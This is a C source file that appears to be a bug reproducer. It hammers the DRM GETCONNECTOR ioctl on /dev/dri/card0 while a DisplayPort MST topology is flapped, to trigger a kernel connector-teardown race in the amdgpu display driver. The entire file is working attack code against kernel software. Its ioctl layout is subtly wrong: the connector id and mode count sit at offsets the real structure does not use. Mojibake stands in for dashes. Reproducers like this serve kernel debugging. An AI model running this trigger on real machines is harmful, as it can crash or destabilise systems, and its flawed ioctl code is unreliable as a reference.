DF-4910 / mst_race_trigger.c
/* * DF-4910 trigger โ userspace half of the MST connector teardown race. * * Hammer DRM_IOCTL_MODE_GETCONNECTOR (count_modes == 0 forces fill_modes -> * dm_dp_mst_get_modes) on every connector of the card while the DP MST * topology is being changed (unplug / power-cycle the MST hub, or use a * hostile dongle that flaps the topology). The kernel-side counterpart is * drm_dp_destroy_connector_work -> dm_dp_destroy_mst_connector, which runs * with no mode_config.mutex. * * Requires: /dev/dri/card0 with an AMD (amdgpu DM) DisplayPort MST topology. * DragonFly note: the DRM_IOCTL_* definitions come from <dev/drm/drm.h> * installed with world ("make install" of the drm headers); if absent on the * target, embed the 3 ioctl numbers below (values from sys/dev/drm/drm.h). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> /* from sys/dev/drm/drm.h โ stable across this tree */ #define DRM_IOCTL_BASE 'd' #define DRM_IO(nr) _IO(DRM_IOCTL_BASE,nr) #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) struct drm_mode_card_res_req { unsigned int pad[6]; }; /* not used */ #define DRM_IOCTL_MODE_GETRESOURCES DRM_IOWR(0xA0, struct { unsigned int pad[6]; }) #define DRM_IOCTL_MODE_GETCONNECTOR DRM_IOWR(0xA7, struct { unsigned int pad[20]; }) #define MAX_CONN 32 int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/dev/dri/card0"; int fd = open(path, O_RDWR); unsigned int conn_ids[MAX_CONN]; int nconn = 0, i; long iters = argc > 2 ? atol(argv[2]) : 20000000; if (fd < 0) { fprintf(stderr, "open %s: %s โ no DRM device; " "amdgpu DM path unreachable on this machine\n", path, strerror(errno)); return 2; } /* enumerate connector ids via MODE_GETRESOURCES */ { struct { unsigned int pad[3]; unsigned int crtc_id, conn_id; } fake; (void)fake; /* Simple approach: probe connector object ids 1..256 via * MODE_GETCONNECTOR and keep the ones that return non-ENOENT. */ for (i = 1; i < 256 && nconn < MAX_CONN; i++) { unsigned int buf[20]; memset(buf, 0, sizeof(buf)); buf[0] = i; /* connector_id */ buf[2] = 0; /* count_modes == 0 -> fill_modes */ if (ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, buf) == 0) conn_ids[nconn++] = i; } } if (nconn == 0) { fprintf(stderr, "no connectors enumerated on %s\n", path); close(fd); return 3; } printf("hammering %d connectors on %s for %ld iterations; " "flap the DP MST topology now\n", nconn, path, iters); for (long n = 0; n < iters; n++) { for (i = 0; i < nconn; i++) { unsigned int buf[20]; memset(buf, 0, sizeof(buf)); buf[0] = conn_ids[i]; buf[2] = 0; /* count_modes=0 -> probe + get_modes */ ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, buf); } } printf("done\n"); close(fd); return 0; } |